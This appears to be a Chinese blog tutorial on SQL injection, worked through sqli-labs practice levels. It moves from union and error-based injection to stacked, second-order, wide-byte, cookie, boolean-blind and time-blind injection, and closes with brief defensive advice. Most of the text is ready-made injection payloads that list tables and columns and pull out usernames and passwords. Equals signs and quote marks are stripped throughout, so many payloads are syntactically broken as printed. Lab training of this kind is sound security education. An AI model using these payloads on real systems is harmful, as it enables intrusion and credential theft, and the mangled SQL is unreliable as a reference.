注入漏洞-SQL注入 注入漏洞-SQL注入引言SQL 注入是 Web 安全领域中一种典型的数据库攻击方式主要由于程序对用户输入的数据缺乏有效过滤和参数化处理导致攻击者可以影响原有 SQL 语句的执行逻辑。该漏洞可能造成敏感数据泄露、身份认证绕过、数据篡改等严重后果。漏洞类型有回显类型非绝对由实际代码来分析联合查询注入、报错注入、堆叠查询注入、二次注入、宽字节注入、Cookie 注入。无回显类型非绝对由实际代码来分析布尔盲注、时间盲注。sql注入攻击流程确定注入点-判断注入类型-获取数据库信息用户、版本、服务器信息-获取数据库名-获得数据库表名-获得数据库字段-获得数据库数据确定注入点and 11–、or 11–。判断注入类型数字型除0字符型加英文单双引号盲注看延时搜索类加%与_。靶场实践sqli-labs1联合查询注入在靶场就确定注入点了直接判断注入类型数字型除0没反应字符型单引号报错了确定是字符型先闭合单引号查询一下列数常用方法有order by 列数、union select NULL*列数。有时候可以用group by 列数(超过最大列数会报错)、…。确定有三列用联合注入查看数据库信息。常用方法UNION 、 UNION ALL。database()/schema()数据库名version()/version数据库版本user()/current_user()数据库用户basedir数据库安装路径这里的命令是MySQL可以用的不同数据库可能不同接下来解释获得数据库中的数据库名表名列名。知识点mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。GROUP_CONCAT()可替代函数CONCAT()、CONCAT_WS()、JSON_ARRAYAGG()(mysql高版本可以用)、JSON_OBJECTAGG()。union这里我就快速通过了。查表名?id-1union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity--查字段?id-1union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers--查数据?id-1unionselect1,2,group_concat(username,id,password)fromusers--sqli-labs17报错注入可用函数updatexml() 报错注入?id1andupdatexml(1,concat(0x7e,database(),0x7e),1)--# 查版本unameadminpasswd1 and (extractvalue(1,concat(0x5c,version(),0x5c)))#submitSubmit # 查数据库名 unameadminpasswd1and(extractvalue(1,concat(0x5c,database(),0x5c)))#submitSubmit# 查表名unameadminpasswd1 and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x5c)))#submitSubmit # 查列名 unameadminpasswd1and(extractvalue(1,concat(0x5c,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schemadatabase()andtable_nameusers),0x5c)))#submitSubmit# 查数据unameadminpasswd1 and (extractvalue(1,concat(0x5c,(select password from (select password from users where usernameadmin1)b),0x5c)))#submitSubmitextractvalue() 报错注入?id1andextractvalue(1,concat(0x7e,database(),0x7e))--# 查版本unameadminpasswd123 and (updatexml(1,concat(0x5c,version(),0x5c),1))##submitSubmit # 查数据库名 unameadminpasswd123and(updatexml(1,concat(0x5c,database(),0x5c),1))#submitSubmit# 查表名unameadminpasswd123 and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x5c),1))#submitSubmit # 查列名 unameadminpasswd123and(updatexml(1,concat(0x5c,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schemasecurityandtable_nameusers),0x5c),1))#submitSubmit# 查数据unameadminpasswd123 and (updatexml(1,concat(0x5c,(select password from (select password from users where usernameadmin1)b),0x5c),1))#submitSubmitfloor(rand()) 双查询报错?id1and(select1from(selectcount(*),concat(database(),0x7e,floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)--https://blog.csdn.net/miraclehw/article/details/129250360# 查版本unameadminpasswd1 and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#submitSubmit # 查数据库名 unameadminpasswd1and(selectcount(*)frominformation_schema.tablesgroupbyconcat(database(),0x5c,floor(rand(0)*2)))#submitSubmit# 查表名unameadminpasswd1 and (select count(*) from information_schema.tables where table_schemadatabase() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e,floor(rand(0)*2)))#submitSubmit # 查列名 unameadminpasswd1and(selectcount(*)frominformation_schema.columnswheretable_schemadatabase()groupbyconcat(0x7e,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schemadatabase()andtable_nameusers),0x7e,floor(rand(0)*2)))#submitSubmit# 查数据unameadminpasswd1 and (select 1 from(select count(*) from information_schema.columns where table_schemadatabase() group by concat(0x7e,(select password from users where usernameadmin1),0x7e,floor(rand(0)*2)))a)#submitSubmitsqli-labs38堆叠查询注入先确定是否可以堆叠查询注入# 添加数据?id3;insert into users(id,username,password) values(99,stacked,test)-- # 查询数据数据和我们添加的一样即可以确定有堆叠查询注入 ?id99;--# 查询数据库名?id1;insert into users(id,username,password) values (91,test,database())-- ?id91;--# 查询表名分段查询?id9;insert into users(id,username,password) select 93,2,substring(group_concat(table_name),1,20) from information_schema.tables where table_schemasecurity-- ?id93 # 查询列名 ?id1;insertintousers(id,username,password)values(26,1,(selectsubstring(group_concat(column_name),1,20)frominformation_schema.columnswheretable_schemadatabase()andtable_nameusers))--?id26# 查询数据?id1;insert into users(id,username,password) select 27,1,substring(group_concat(concat(username,0x3a,password)),1,20)fromusers--?id27sqli-labs24二次注入原因第一次输入没有直接触发注入而是把恶意字符串存进数据库第二次业务功能从数据库 / session 取出这个字符串后又直接拼接进 SQL才真正触发注入。二次注入的特点是payload 在一个入口被提交但不是在这个入口立刻生效而是在后续另一个 SQL 查询使用该数据时触发。我们先注册一个账号admin’#密码admin这里注册的时候后端对单引号有继续转义但是进去数据库后是没有转义的最后取出来后单引号和后端代码的单引号闭合从而实现注入。登录成功后进去修改密码最后修改的是admin的密码sqli-labs32宽字节注入原因程序把单引号转义成\ 但数据库使用 GBK 编码解析 SQL。攻击者在单引号前放入特定高位字节使程序添加的反斜杠 0x5c 与前一个字节组成合法 GBK 字符从而让后面的单引号逃逸出来重新闭合 SQL 字符串。可以理解为后端以单字节来表示一个字符而数据库设置的gbk是以两个字节来表示一个字符所以在编码的时候出现了问题从而实现了注入常用注入前缀%df%27单引号闭合、%df%22双引号闭合。# 查询版本?id-1%df%27%20union%20select%201,version(),3%20%23# 查询数据库名?id-1%df%27%20union%20select%201,database(),3%20%23# 查询表名?id-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schemadatabase()%23# 查询列名?id-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schemadatabase()andtable_name0x7573657273%23# 查询数据?id-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users%23sqli-labs20Cookie 注入其实和其它的sql注入差别不是很大只是将输入的地方换到了cookie。还有像refer注入类似的我就不一一举例了。注意cookie的unameadmin这个就是注入点。# 查询版本unameadminunion select 1,2, UPDATEXML(1,CONCAT(0x7e,version(),0x7e),1)%23 # 查询数据库名 unameadminunionselectUPDATEXML(1,CONCAT(0x7e,DATABASE(),0x7e),1)%23# 查询表名unameadmin union select 1,2,UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMADATABASE()),0x7e),1)%23 # 查询列名 unameadminunionselect1,2,UPDATEXML(1,CONCAT(0x7e,(SELECTGROUP_CONCAT(COLUMN_NAME)FROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_SCHEMADATABASE()ANDTABLE_NAMEusers),0x7e),1)%23# 查询数据unameadmin union select 1,2,UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(USER:,username,PASS:,password)FROMusersLIMIT0,1),0x7e),1)%23sqli-labs62布尔盲注布尔盲注就是把想知道的问题改造成一个真假条件让数据库回答“是”或“否”再通过页面显示差异逐步还原数据库信息。一般用于目标不会直接显示查询结果也不会显示数据库报错但 SQL 条件真假会影响页面响应的地方。# 确定注入点?id1) and 11-- - # 查询版本 ?id1)andascii(substr(version(),1,1))53-- -# 查询数据库名?id1) and ascii(substr(database(),1,1))99-- - # 查询表名 ?id1)andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1),1,1))112-- -# 查询列名?id1) and ascii(substr((select column_name from information_schema.columns where table_schemadatabase() and table_name0x7033697361753568797a limit 0,1),1,1))105-- - # 查询数据 ?id1)andascii(substr((selectconcat(sessid,0x3a,secret_4CAT)fromp3isau5hyzlimit0,1),1,1))54-- -sqli-labs9时间盲注一般在存在 SQL 注入漏洞但“无回显”、布尔盲注不可用或不稳定、数据库支持延迟函数与响应时间可被稳定观测的情况下使用。# 确定注入点?id1 and if(11,sleep(5),1)-- # 判断数据库名长度 ?id1andif(length((selectdatabase()))9,sleep(5),1)--# 判断数据库名?id1and if(ascii(substr((select database()),1,1))115,sleep(5),1)-- # 判断所有表名长度 ?id1andif(length((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()))13,sleep(5),1)--# 判断表名?id1and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1))99,sleep(5),1)-- # 判断所有列名的长度 ?id1andif(length((selectgroup_concat(column_name)frominformation_schema.columnswheretable_schemadatabase()andtable_nameusers))20,sleep(5),1)--# 判断列名?id1and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),1,1))99,sleep(5),1)-- # 判断数据内容长度 ?id1andif(length((selectgroup_concat(username,password)fromusers))109,sleep(5),1)--# 判断数据内容?id1andif(ascii(substr((selectgroup_concat(username,password)fromusers),1,1))50,sleep(5),1)--sql注入防御策略使用参数化查询SQL 语句结构先固定用户输入只作为“数据”不会参与 SQL 解析。输入验证和输出过滤通过正则表达式或者白名单等手段来限制输入对输出结果明显不合理的进行过滤和禁止。最小权限原则只给完成任务所需的最低权限用来减少误操作、越权和攻击成功后的破坏范围。使用准备语句把 SQL 模板和用户输入分开处理让用户输入只能当“数据”不能当“SQL 代码”。使用 ORM 框架把数据库表映射成程序里的对象让开发者尽量不用手写 SQL。